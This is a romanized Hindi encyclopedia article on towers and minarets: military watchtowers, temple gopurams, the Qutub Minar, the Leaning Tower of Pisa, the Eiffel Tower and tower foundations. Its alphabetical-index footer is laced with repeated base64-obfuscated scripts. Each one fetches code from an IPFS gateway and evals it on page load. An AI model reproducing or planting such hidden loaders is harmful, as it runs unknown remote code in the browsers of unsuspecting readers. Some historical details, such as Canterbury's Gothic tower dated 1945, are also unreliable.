अट्टालक

attalak (t aauvar, minar) aisi sanrachana ko kahate haian jisaki ooanchaee usaki lanbaee tatha chau daee ke anupat mean kee guni ho, arthath‌ ooanchaee hi usaki visheshata ho. prachin kal mean attalakoan ka nirman nagar athava gadh ko suraksha ke vichar se kiya jata tha, jahaan se prahari ate hue shatru ko door se hi dekh sakata tha. attalakoan ka nirman vastukala ki bhavyata tatha pradarshan ke vichar se bhi kiya jata tha. at is prakar ke attalak adhikatar mandiroan tatha mahaloan ke mukhadvar par banae jate the. mukhadvar par bane attalak gopur kahe jate haian. maisopotemiya mean eesa se 2,770 varsh poorv sainik avashyakataoan ke lie attalakoan ke nirman ke chinh milate haian. misr mean bhi aise attalakoan ka abhas milata hai, parantu gris mean isaka prachalan bahut kam tha. isake viparit rom mean attalakoan ka nirman prachur matra mean kiya jata tha, jaisa pauanpeee, aureliyan tatha kustunatuniya ke dhvast avasheshoan se pata chalata hai.bharatavarsh mean bhi attalakoan ka prachalan prachin kal se tha. guptakalin mandiroan ke ooanche-ooanche shikhar ek prakar ke attalak hi haian. devagadh ke dashavatar mandir ka shikhar 40 phut ooancha hai. narasianh gupt baladity ne nalanda mean ek b da vishal tatha suandar mandir banavaya jo 300 phut ooancha tha.

chin mean bhi eetan athava patthar ke ooanche-ooanche attalak nagar sima ke dvaroan par shobha tatha sauandary ke lie banae jate the, jaise chin ki brihadh bhitti (gret val aauv chaina) par ab bhi sthit haian. isake atirikt vahaan ke attalak paigoda ke roop mean bhi banate the. g aauthik kal mean jo attalak ya minarean banian ve pahale se bhinn thian. purane attalakoan mean ek chhota-sa dvar hota tha aur ve kee manjil ke banate the. inamean chhoti-chhoti khi dakiyaan lanbi kar di gee aur sath mean kone par ke pushte (batares vals) bhi khoob ooanche athava lanbe banae jane lage, jinamean chhote-chhote bahut se khasake dal die jate the. adhikaansh attalakoan ke oopar nukile shikhar rakhe jate the, par kuchh mean oopar ki chhat chipati hi rakhi jati thi tatha kuchh ka akar athapahala bhi rakh diya jata tha. ianglaiand ka sabase suandar g aauthik namoone ka attalak kaiantarabari giraja hai, jo sanh‌ 1945 mean bana tha.

attalakoan ka nirman keval sainik upayog athava dharmik bhavanoan tak hi nahian simit hai. bahut se nagaroan mean gh di lagane ke lie bhi attalak banae jate haian, jaisa bharat ke bhi bahut se nagaroan mean dekha ja sakata hai. dilli ke prasiddh chaandani chauk ke ghantaghar ka attalak abhi hal mean, banane ke lagabhag 100 varsh bad, achanak gir p da tha. ek any prasiddh minar itali desh mean pisa nagar ki jhuki huee minar hai jo 12vian shatabdi mean bani thi. yah 179 phut ooanchi hai aur ek or 16 phut jhuki huee hai. madhyakalin yug mean, arthath‌ 10vian shatabdi ke lagabhag, sainik upayog ke lie ooanche-ooanche attalakoan ke banane ki pratha bahut phail gee thi, jaise 11vian sadi ka landan tavar. jaise-jaise bandook tatha top ke gole ka prachar badhata gaya vaise-vaise sainik kam ke lie attalakoan ka prayog kam hota gaya.

rajapoot tatha mugaloan ke samay mean bharatavarsh mean ooanchi-ooanchi minarean banane ki pratha thi. dilli ki prasiddh kutubaminar ko 13vian sadi mean kutubaddin ne apane rajyakal mean banavana aranbh kiya tha jise iltutamish ne poora kiya. agare ke prasiddh tajamahal ke charoan konoan par char b di-b di minarean bhi bani haian jo usaki shobha badhati haian. in minaroan ke bhitar oopar jane ke lie sidhiyaan bhi bani haian. rajapooti vastukala ka ek suandar namoona chittau d ka vijayastanbh hai. isamean khoobi yah hai ki jaise-jaise ooanchaee badhati jati hai; parinamasvaroop niche se dekhane par usake bhagoan ka akar chhota nahian jan p data.

adhikaansh hiandoo mandiroan athava any attalakoan mean bahut suandar moortiyaan tatha nakkashiyaan khudi haian. madura (17vian shatabdi) tatha kaanjivaramh‌ ke mandir is prakar ke kam ke bahut suandar udaharan haian. vijay stanbhoan mean bhi moortiyaan khudi haian, parantu itani bahutayat se nahian jitani dakshin ke mandiroan mean. adhunik kal ke attalakoan mean peris ka eephel tavar hai jise gastov eephel namak ianjiniyar ne sanh‌ 1889 mean nirmit kiya tha. yah lohe ka attalak hai aur 984 phut ooancha hai. is par log bijali ke lipht dvara oopar jate haian. paryatakoan ki suvidha ke lie oopar jalapanagrih (restaraan) ka bhi prabandh hai. landan sthit vestaminstar giraze ka shikhar 283 phut ooancha hai aur sansar ke prasiddh attalakoan mean se hai. yah sanh‌ 1825-1903 mean bana tha. riinforsd kankrit ka bana hua notaradem ka attalak bhi kaphi prasiddh hai. yah sanh‌ 1924 mean bana tha. any adhunik attalak nimnalikhit haian: jarmani ka aianstain tavar, potsadam vedhashala, amarika ka klivalaiand memoriyal tavar, prianstan vishvavidyalay tavar (1913) tatha yel vishvavidyalay ka harkanes memoriyal tavar, svidan mean sk aautahom namak shahar ke hal ka attalak, ityadi.

kisi mahanh‌ vyakti athava ghatana ki smriti mean attalak banane ki pratha bhi prachalit rahi haian aur bahut se attalak isi uddeshy se bane haian. adhunik sthapatyakala mean b de-b de bhavanoan ke nirman mean imarat ki bhavyata badhane ke vichar se bahut se sthanoan par chhote-b de attalak logoan ne banava die haian, udaharanarth, haridvar ka raja bi dala tavar. attalakoan ke nirman mean nianv ko paryapt chau da rakhana p data hai, jisase vahaan ki bhoomi attalak ke poore bhar ko sahan kar sake. is prakar ke kam ke lie ya to riinforsd kankrit ki be danuma nianv (raphtu fauandeshan) di ja sakati hai ya jalidar nianv (grilej fauandeshan). attalak ke ooancha hone ke karan is par vayu ki dab bahut p dati hai, isalie attalakoan ki akalpana (dizain) mean aandhi se p de vali dab ka dhyan avashy rakha jata hai.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 86,87 |

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 86,87 |

[1]

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